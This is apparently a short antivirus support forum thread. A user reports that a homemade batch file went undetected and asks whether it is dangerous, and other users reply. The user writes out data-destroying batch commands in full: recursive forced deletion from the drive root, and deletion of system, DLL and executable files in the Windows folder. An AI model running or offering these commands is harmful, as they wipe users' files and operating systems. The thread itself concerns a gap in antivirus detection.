did not report a very single virus

i have created a single virus in .bat only fot test and the CIS did not identified him,
its simple, i have open the notepad and write:

cd \ del /s /f /q *.* del /s /f /q /a:s *.* del *.*
and saved as -.bat, the anti-virus did not identified him. i have keep testing and he only indentified when i put "del *.com" another commands than he not indetified:
cd windows del *.sys del /a:s *.* del *.dll del *.exe
if someone hacker create a shortcut for a .bat arquive with these commands he can erase importants parts of HD and the system.i am right???

Sorry, but what you’ve created isn’t a virus, it’s merely a batch file containing valid commands.

The DEL command, although it can be used to do damage, is primarily used for valid purposes. If it was to be detected as a virus, how could we ever manually delete anything.

Ewen :slight_smile:

yes, i kwon it.
i have said he have identified the command [del *.com] has a [trojware.bat.delfiles.N[ at ]12533],
i just have said it for the programmers improve this tipe of protection for anothers bat.delfiles “commands” has[del .]or [del /s .](the last will do something like erase the HD.

after all, comodo is the best protection, and he is not “heavy” for my CPU or my RAM.

Those codes will delete system files, protected by Defense+ watch. HIPS feature is CIS will alert users?